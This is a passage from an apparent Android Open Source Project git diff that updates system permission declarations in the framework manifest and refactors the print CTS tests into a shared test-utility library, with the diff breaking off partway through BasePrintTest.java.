     <permission android:name="android.permission.UPDATE_DEVICE_STATS"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi @hide Allows an application to collect battery statistics -->
+    <!-- @SystemApi @hide Allows an application to collect application operation statistics.
+         Not for use by third party apps. -->
     <permission android:name="android.permission.GET_APP_OPS_STATS"
         android:protectionLevel="signature|privileged|development" />
 
@@ -2415,10 +2432,10 @@
         android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to use
-        {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
-        to hide non-system-overlay windows.
-        <p>Not for use by third-party applications.
-        @hide
+         {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+         to hide non-system-overlay windows.
+         <p>Not for use by third-party applications.
+         @hide
     -->
     <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
                 android:protectionLevel="signature|installer" />
@@ -2625,10 +2642,6 @@
     <permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
         android:protectionLevel="signature" />
 
-    <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
-    <permission android:name="android.permission.BIND_AUTOFILL"
-        android:protectionLevel="signature" />
-
     <!-- Must be required by hotword enrollment application,
          to ensure that only the system can interact with it.
          @hide <p>Not for use by third-party applications.</p> -->
@@ -2766,6 +2779,14 @@
     <!-- @SystemApi Allows an application to install packages.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_PACKAGES"
+      android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows an application to install self updates. This is a limited version
+         of {@link android.Manifest.permission#INSTALL_PACKAGES}.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+    <permission android:name="android.permission.INSTALL_SELF_UPDATES"
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to clear user data.
@@ -2877,6 +2898,13 @@
     <permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
         android:protectionLevel="signature" />
 
+    <!-- Allows an application to collect usage infomation about brightness slider changes.
+         <p>Not for use by third-party applications.</p>
+         TODO: make a System API
+         @hide -->
+    <permission android:name="android.permission.BRIGHTNESS_SLIDER_USAGE"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to control VPN.
          <p>Not for use by third-party applications.</p>
          @hide -->
@@ -3032,10 +3060,10 @@
         android:protectionLevel="signature|privileged|development|appop" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
-    <!-- @hide Allows an application to change the app idle state of an app.
+    <!-- @hide @SystemApi Allows an application to change the app idle state of an app.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
          access the network and acquire wakelocks.
@@ -3056,6 +3084,12 @@
     <permission android:name="android.permission.BATTERY_STATS"
         android:protectionLevel="signature|privileged|development" />
 
+    <!--Allows an application to manage statscompanion.
+    <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.STATSCOMPANION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to control the backup and restore process.
     <p>Not for use by third-party applications.
          @hide pending API council -->
@@ -3082,6 +3116,13 @@
     <permission android:name="android.permission.BIND_APPWIDGET"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to bind app's slices and get their
+         content. This content will be surfaced to the
+         user and not to leave the device.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.BIND_SLICE"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
          keyguard widget
          @hide -->
@@ -3126,6 +3167,11 @@
     <permission android:name="android.permission.READ_SEARCH_INDEXABLES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Internal permission to allows an application to bind to suggestion service.
+        @hide -->
+    <permission android:name="android.permission.BIND_SETTINGS_SUGGESTIONS_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows applications to set a live wallpaper.
          @hide XXX Change to signature once the picker is moved to its
          own apk as Ghod Intended. -->
@@ -3548,6 +3594,10 @@
     <permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
         android:protectionLevel="signature|development|instant|appop" />
 
+    <!-- @hide Allows system components to access all app shortcuts. -->
+    <permission android:name="android.permission.ACCESS_SHORTCUTS"
+        android:protectionLevel="signature" />
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
@@ -3788,14 +3838,6 @@
             </intent-filter>
         </receiver>
 
-        <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
-                android:permission="android.permission.UPDATE_CONFIG">
-            <intent-filter>
-                <action android:name="android.intent.action.UPDATE_TZDATA" />
-                <data android:scheme="content" android:host="*" android:mimeType="*/*" />
-            </intent-filter>
-        </receiver>
-
         <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
@@ -3836,6 +3878,16 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="com.android.server.stats.StatsCompanionService$AnomalyAlarmReceiver"
+                  android:permission="android.permission.STATSCOMPANION"
+                  android:exported="false">
+        </receiver>
+
+        <receiver android:name="com.android.server.stats.StatsCompanionService$PollingAlarmReceiver"
+                  android:permission="android.permission.STATSCOMPANION"
+                  android:exported="false">
+        </receiver>
+
         <service android:name="android.hardware.location.GeofenceHardwareService"
             android:permission="android.permission.LOCATION_HARDWARE"
             android:exported="false" />
@@ -3887,6 +3939,9 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
+        <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35a99da..c883f03 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -140,7 +140,11 @@
         // OEMs cannot define permissions in the platform namespace
         for (String permission : declaredPermissionsMap.keySet()) {
             if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
-                offendingList.add("Cannot define permission in android namespace:" + permission);
+                final PermissionInfo permInfo = declaredPermissionsMap.get(permission);
+                offendingList.add(
+                        "Cannot define permission " + permission
+                        + ", package " + permInfo.packageName
+                        + " in android namespace");
             }
         }
 
@@ -151,11 +155,9 @@
                     if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
                             || declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
                         offendingList.add(
-                                "Cannot define group "
-                                        + declaredGroup.name
-                                        + ", package "
-                                        + declaredGroup.packageName
-                                        + " in android namespace");
+                                "Cannot define group " + declaredGroup.name
+                                + ", package " + declaredGroup.packageName
+                                + " in android namespace");
                     }
                 }
             }
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index c9b036a..aba1b80 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_TAGS := tests
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
@@ -27,8 +27,9 @@
 
 LOCAL_PACKAGE_NAME := CtsPrintTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := print-test-util-lib
 
 LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index c5148c8..ef86c30 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -25,10 +25,12 @@
 
         <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.print.cts.PrintDocumentActivity"/>
+        <activity
+            android:name="android.print.test.PrintDocumentActivity"
+            android:theme="@style/NoAnimation" />
 
         <service
-            android:name="android.print.cts.services.FirstPrintService"
+            android:name="android.print.test.services.FirstPrintService"
             android:permission="android.permission.BIND_PRINT_SERVICE">
             <intent-filter>
                 <action android:name="android.printservice.PrintService" />
@@ -40,7 +42,7 @@
         </service>
 
         <service
-            android:name="android.print.cts.services.SecondPrintService"
+            android:name="android.print.test.services.SecondPrintService"
             android:permission="android.permission.BIND_PRINT_SERVICE">
             <intent-filter>
                 <action android:name="android.printservice.PrintService" />
@@ -52,25 +54,28 @@
         </service>
 
         <activity
-            android:name="android.print.cts.services.SettingsActivity"
+            android:name="android.print.test.services.SettingsActivity"
+            android:theme="@style/NoAnimation"
             android:exported="true">
         </activity>
 
         <activity
-            android:name="android.print.cts.services.AddPrintersActivity"
+            android:name="android.print.test.services.AddPrintersActivity"
+            android:theme="@style/NoAnimation"
             android:exported="true">
         </activity>
 
         <activity
-                android:name="android.print.cts.services.InfoActivity"
-                android:exported="true">
+            android:name="android.print.test.services.InfoActivity"
+            android:theme="@style/NoAnimation"
+            android:exported="true">
         </activity>
 
         <activity
-            android:name="android.print.cts.services.CustomPrintOptionsActivity"
+            android:name="android.print.test.services.CustomPrintOptionsActivity"
             android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
             android:exported="true"
-            android:theme="@style/Theme.Translucent">
+            android:theme="@style/NoAnimationTranslucent">
         </activity>
 
   </application>
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
new file mode 100644
index 0000000..9b6086a
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2017s The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := print-test-util-lib
+
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
new file mode 100644
index 0000000..fbfff33
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -0,0 +1,1150 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.GET_SERVICES;
+import static android.print.test.Utils.getPrintManager;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doCallRealMethod;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.graphics.pdf.PdfDocument;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.print.PageRange;
+import android.print.PrintAttributes;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintDocumentAdapter.LayoutResultCallback;
+import android.print.PrintDocumentAdapter.WriteResultCallback;
+import android.print.PrintDocumentInfo;
+import android.print.PrintManager;
+import android.print.PrinterId;
+import android.print.pdf.PrintedPdfDocument;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintJob;
+import android.provider.Settings;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
+import android.util.Log;
+import android.util.SparseArray;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runners.model.Statement;
+import org.mockito.InOrder;
+import org.mockito.stubbing.Answer;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * This is the base class for print tests.
+ */
+public abstract class BasePrintTest {
+    private static final String LOG_TAG = "BasePrintTest";
+
+    protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
+    protected static final String PRINT_JOB_NAME = "Test";
+    static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
+
+    private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
+    private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
+    private static final String COMMAND_LIST_ENABLED_IME_COMPONENTS = "ime list -s";
+    private static final String COMMAND_PREFIX_ENABLE_IME = "ime enable ";
+    private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
+    private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
+    private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
+
+    private static final AtomicInteger sLastTestID = new AtomicInteger();
+    private int mTestId;
+    private PrintDocumentActivity mActivity;
+
+    private static String sDisabledPrintServicesBefore;
+
+    private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
+
+    public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
+
+    /**
+     * Return the UI device
+     *
+     * @return the UI device
+     */
+    public UiDevice getUiDevice() {
+        return UiDevice.getInstance(getInstrumentation());
+    }
+
+    private CallCounter mCancelOperationCounter;
+    private CallCounter mLayoutCallCounter;
+    private CallCounter mWriteCallCounter;
+    private CallCounter mWriteCancelCallCounter;
+    private CallCounter mStartCallCounter;
+    private CallCounter mFinishCallCounter;
+    private CallCounter mPrintJobQueuedCallCounter;
+    private CallCounter mCreateSessionCallCounter;
+    private CallCounter mDestroySessionCallCounter;
+    private CallCounter mDestroyActivityCallCounter = new CallCounter();
+    private CallCounter mCreateActivityCallCounter = new CallCounter();
+
+    private static String[] sEnabledImes;
+
+    private static String[] getEnabledImes() throws IOException {
+        List<String> imeList = new ArrayList<>();
+
+        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
+        try (BufferedReader reader = new BufferedReader(
+                new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
+
+            String line;
+            while ((line = reader.readLine()) != null) {
+                imeList.add(line);
+            }
+        }
+
+        String[] imeArray = new String[imeList.size()];
+        imeList.toArray(imeArray);
+
+        return imeArray;
+    }
+
+    private static void disableImes() throws Exception {
+        sEnabledImes = getEnabledImes();
+        for (String ime : sEnabledImes) {
+            String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
+            SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
+        }
+    }
+
+    private static void enableImes() throws Exception {
+        for (String ime : sEnabledImes) {
+            String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
+            SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
+        }
+        sEnabledImes = null;
+    }
+
+    protected static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Log.d(LOG_TAG, "setUpClass()");
+
+        Instrumentation instrumentation = getInstrumentation();
+
+        // Make sure we start with a clean slate.
+        Log.d(LOG_TAG, "clearPrintSpoolerData()");
+        clearPrintSpoolerData();
+        Log.d(LOG_TAG, "disableImes()");
+        disableImes();
+        Log.d(LOG_TAG, "disablePrintServices()");
+        disablePrintServices(instrumentation.getTargetContext().getPackageName());
+
+        // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
+        // Dexmaker is used by mockito.
+        System.setProperty("dexmaker.dexcache", instrumentation
+                .getTargetContext().getCacheDir().getPath());
+
+        Log.d(LOG_TAG, "setUpClass() done");
+    }
+
+    /**
+     * Disable all print services beside the ones we want to leave enabled.
+     *
+     * @param packageToLeaveEnabled The package of the services to leave enabled.
+     */
+    private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
+            throws IOException {
+        Instrumentation instrumentation = getInstrumentation();
+
+        sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
+                "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
+
+        Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
+        List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
+                .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
+
+        StringBuilder builder = new StringBuilder();
+        for (ResolveInfo service : installedServices) {
+            if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
+                continue;
+            }
+            if (builder.length() > 0) {
+                builder.append(":");
+            }
+            builder.append(new ComponentName(service.serviceInfo.packageName,
+                    service.serviceInfo.name).flattenToString());
+        }
+
+        SystemUtil.runShellCommand(instrumentation, "settings put secure "
+                + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
+    }
+
+    /**
+     * Revert {@link #disablePrintServices(String)}
+     */
+    private static  void enablePrintServices() throws IOException {
+        SystemUtil.runShellCommand(getInstrumentation(),
+                "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
+                        + sDisabledPrintServicesBefore);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "setUp()");
+
+        assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_PRINTING));
+
+        // Initialize the latches.
+        Log.d(LOG_TAG, "init counters");
+        mCancelOperationCounter = new CallCounter();
+        mLayoutCallCounter = new CallCounter();
+        mStartCallCounter = new CallCounter();
+        mFinishCallCounter = new CallCounter();
+        mWriteCallCounter = new CallCounter();
+        mWriteCancelCallCounter = new CallCounter();
+        mFinishCallCounter = new CallCounter();
+        mPrintJobQueuedCallCounter = new CallCounter();
+        mCreateSessionCallCounter = new CallCounter();
+        mDestroySessionCallCounter = new CallCounter();
+
+        mTestId = sLastTestID.incrementAndGet();
+        sIdToTest.put(mTestId, this);
+
+        // Create the activity if needed
+        if (!mShouldStartActivityRule.mNoActivity) {
+            createActivity();
+        }
+
+        Log.d(LOG_TAG, "setUp() done");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(LOG_TAG, "tearDown()");
+
+        finishActivity();
+
+        sIdToTest.remove(mTestId);
+
+        Log.d(LOG_TAG, "tearDown() done");
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Log.d(LOG_TAG, "tearDownClass()");
+
+        Instrumentation instrumentation = getInstrumentation();
+
+        Log.d(LOG_TAG, "enablePrintServices()");
+        enablePrintServices();
+
+        Log.d(LOG_TAG, "enableImes()");
+        enableImes();
+
+        // Make sure the spooler is cleaned, this also un-approves all services
+        Log.d(LOG_TAG, "clearPrintSpoolerData()");
+        clearPrintSpoolerData();
+
+        SystemUtil.runShellCommand(instrumentation, "settings put secure "
+                    + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
+
+        Log.d(LOG_TAG, "tearDownClass() done");
+    }
+
+    protected android.print.PrintJob print(@NonNull final PrintDocumentAdapter adapter,
+            final PrintAttributes attributes) {
+        android.print.PrintJob[] printJob = new android.print.PrintJob[1];
+        // Initiate printing as if coming from the app.
+        getInstrumentation().runOnMainSync(() -> {
+            PrintManager printManager = (PrintManager) getActivity()
+                    .getSystemService(Context.PRINT_SERVICE);
+            printJob[0] = printManager.print("Print job", adapter, attributes);
+        });
+
+        return printJob[0];
+    }
+
+    protected void print(PrintDocumentAdapter adapter) {
+        print(adapter, (PrintAttributes) null);
+    }
+
+    protected void print(PrintDocumentAdapter adapter, String printJobName) {
+        print(adapter, printJobName, null);
+    }
+
+    /**
+     * Start printing
+     *
+     * @param adapter      Adapter supplying data to print
+     * @param printJobName The name of the print job
+     */
+    protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
+            @Nullable PrintAttributes attributes) {
+        // Initiate printing as if coming from the app.
+        getInstrumentation()
+                .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
+                        attributes));
+    }
+
+    protected void onCancelOperationCalled() {
+        mCancelOperationCounter.call();
+    }
+
+    public void onStartCalled() {
+        mStartCallCounter.call();
+    }
+
+    protected void onLayoutCalled() {
+        mLayoutCallCounter.call();
+    }
+
+    protected int getWriteCallCount() {
+        return mWriteCallCounter.getCallCount();
+    }
+
+    protected void onWriteCalled() {
+        mWriteCallCounter.call();
+    }
+
+    protected void onWriteCancelCalled() {
+        mWriteCancelCallCounter.call();
+    }
+
+    protected void onFinishCalled() {
+        mFinishCallCounter.call();
+    }
+
+    protected void onPrintJobQueuedCalled() {
+        mPrintJobQueuedCallCounter.call();
+    }
+
+    protected void onPrinterDiscoverySessionCreateCalled() {
+        mCreateSessionCallCounter.call();
+    }
+
+    protected void onPrinterDiscoverySessionDestroyCalled() {
+        mDestroySessionCallCounter.call();
+    }
+
+    protected void waitForCancelOperationCallbackCalled() {
+        waitForCallbackCallCount(mCancelOperationCounter, 1,
+                "Did not get expected call to onCancel for the current operation.");
+    }
+
+    protected void waitForPrinterDiscoverySessionCreateCallbackCalled() {
+        waitForCallbackCallCount(mCreateSessionCallCounter, 1,
+                "Did not get expected call to onCreatePrinterDiscoverySession.");
+    }
+
+    public void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
+        waitForCallbackCallCount(mDestroySessionCallCounter, count,
+                "Did not get expected call to onDestroyPrinterDiscoverySession.");
+    }
+
+    protected void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
+        waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
+                "Did not get expected call to onPrintJobQueued.");
+    }
+
+    protected void waitForAdapterStartCallbackCalled() {
+        waitForCallbackCallCount(mStartCallCounter, 1,
+                "Did not get expected call to start.");
+    }
+
+    protected void waitForAdapterFinishCallbackCalled() {
+        waitForCallbackCallCount(mFinishCallCounter, 1,
+                "Did not get expected call to finish.");
+    }
+
+    protected void waitForLayoutAdapterCallbackCount(int count) {
+        waitForCallbackCallCount(mLayoutCallCounter, count,
+                "Did not get expected call to layout.");
+    }
+
+    public void waitForWriteAdapterCallback(int count) {
+        waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
+    }
+
+    protected void waitForWriteCancelCallback(int count) {
+        waitForCallbackCallCount(mWriteCancelCallCounter, count,
+                "Did not get expected cancel of write.");
+    }
+
+    private static void waitForCallbackCallCount(CallCounter counter, int count, String message) {
+        try {
+            counter.waitForCount(count, OPERATION_TIMEOUT_MILLIS);
+        } catch (TimeoutException te) {
+            fail(message);
+        }
+    }
+
+    /**
+     * Indicate the print activity was created.
+     */
+    static void onActivityCreateCalled(int testId, PrintDocumentActivity activity) {
+        synchronized (sIdToTest) {
+            BasePrintTest test = sIdToTest.get(testId);
+            if (test != null) {
+                test.mActivity = activity;
+                test.mCreateActivityCallCounter.call();
+            }
+        }
+    }
+
+    /**
+     * Indicate the print activity was destroyed.
+     */
+    static void onActivityDestroyCalled(int testId) {
+        synchronized (sIdToTest) {
+            BasePrintTest test = sIdToTest.get(testId);
+            if (test != null) {
+                test.mDestroyActivityCallCounter.call();
+            }
+        }
+    }
+
+    private void finishActivity() {
+        Activity activity = mActivity;
+
+        if (activity != null) {
+            if (!activity.isFinishing()) {
+                activity.finish();
+            }
+
+            while (!activity.isDestroyed()) {
+                int creates = mCreateActivityCallCounter.getCallCount();
+                waitForCallbackCallCount(mDestroyActivityCallCounter, creates,
+                        "Activity was not destroyed");
+            }
+        }
+    }
+
+    /**
+     * Get the number of ties the print activity was destroyed.
+     *
+     * @return The number of onDestroy calls on the print activity.
+     */
+    protected int getActivityDestroyCallbackCallCount() {
+        return mDestroyActivityCallCounter.getCallCount();
+    }
+
+    /**
+     * Get the number of ties the print activity was created.
+     *
+     * @return The number of onCreate calls on the print activity.
+     */
+    private int getActivityCreateCallbackCallCount() {
+        return mCreateActivityCallCounter.getCallCount();
+    }
+
+    /**
+     * Wait until create was called {@code count} times.
+     *
+     * @param count The number of create calls to expect.
+     */
+    private void waitForActivityCreateCallbackCalled(int count) {
+        waitForCallbackCallCount(mCreateActivityCallCounter, count,
+                "Did not get expected call to create.");
+    }
+
+    /**
+     * Reset all counters.
+     */
+    public void resetCounters() {
+        mCancelOperationCounter.reset();
+        mLayoutCallCounter.reset();
+        mWriteCallCounter.reset();
+        mWriteCancelCallCounter.reset();
+        mStartCallCounter.reset();
+        mFinishCallCounter.reset();
+        mPrintJobQueuedCallCounter.reset();
+        mCreateSessionCallCounter.reset();
+        mDestroySessionCallCounter.reset();
+        mDestroyActivityCallCounter.reset();
+        mCreateActivityCallCounter.reset();
+    }
+
+    /**
+     * Wait until the message is shown that indicates that a printer is unavailable.
+     *
+     * @throws Exception If anything was unexpected.
+     */
+    protected void waitForPrinterUnavailable() throws Exception {
+        final String printerUnavailableMessage =
+                getPrintSpoolerString("print_error_printer_unavailable");
+
+        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/message"));
+        if (!message.getText().equals(printerUnavailableMessage)) {
+            throw new Exception("Wrong message: " + message.getText() + " instead of "
+                    + printerUnavailableMessage);
+        }
+    }
+
+    protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
+        try {
+            long delay = 1;
+            while (true) {
+                try {
+                    UiDevice uiDevice = getUiDevice();
+                    UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+                            .resourceId("com.android.printspooler:id/destination_spinner"));
+
+                    destinationSpinner.click();
+                    getUiDevice().waitForIdle();
+
+                    // Give spinner some time to expand
+                    try {
+                        Thread.sleep(delay);
+                    } catch (InterruptedException e) {
+                        // ignore
+                    }
+
+                    // try to select printer
+                    UiObject printerOption = uiDevice.findObject(
+                            new UiSelector().text(printerName));
+                    printerOption.click();
+                } catch (UiObjectNotFoundException e) {
+                    Log.e(LOG_TAG, "Could not select printer " + printerName, e);
+                }
+
+                getUiDevice().waitForIdle();
+
+                if (!printerName.equals("All printers…")) {
+                    // Make sure printer is selected
+                    if (getUiDevice().hasObject(By.text(printerName))) {
+                        break;
+                    } else {
+                        if (delay <= OPERATION_TIMEOUT_MILLIS) {
+                            Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
+                            delay *= 2;
+                        } else {
+                            throw new UiObjectNotFoundException(
+                                    "Could find printer " + printerName
+                                            + " even though we retried");
+                        }
+                    }
+                } else {
+                    break;
+                }
+            }
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
+    }
+
+    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+        UiObject button;
+        if (confirm) {
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
+        } else {
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
+        }
+        button.click();
+    }
+
+    protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
+            IOException {
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
